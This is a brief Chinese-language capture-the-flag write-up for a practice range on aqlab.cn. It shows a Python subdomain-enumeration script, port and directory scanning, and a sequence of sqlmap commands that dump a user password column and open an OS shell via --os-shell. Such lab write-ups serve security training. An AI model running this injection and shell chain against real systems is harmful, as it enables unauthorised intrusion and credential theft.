旧靶场 - Kali系列【5题】
信息搜集之: 子域名探测
flag在http://shop.aqlab.cn
里
import requests
with open('D:/zuomian/ctf shiyan/dict.txt') as f:
for i in f:
ii=i.replace('\n','')
url = 'http://'+ii+'.aqlab.cn'
try:
data = requests.get(url)
print(url)
except requests.exceptions.ConnectionError:
requests.status_code = "Connection refused"
http://www.aqlab.cn
http://pass2.aqlab.cn
http://shop.aqlab.cn
http://service.aqlab.cn
Process finished with exit code 0
信息搜集:端口扫描
flag:8001,上面有显示
漏洞扫描 - web扫描器
用御剑扫/
,得到flag
注入测试-sqlmap
查库
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch --dbs
查cake的表
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake --tables
查user的字段
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake -T user --columns
查字段内容
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake -T user -C passwd --dump
Sqlmap --os-shell
得到shell
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch --os-shell
type查看文件内容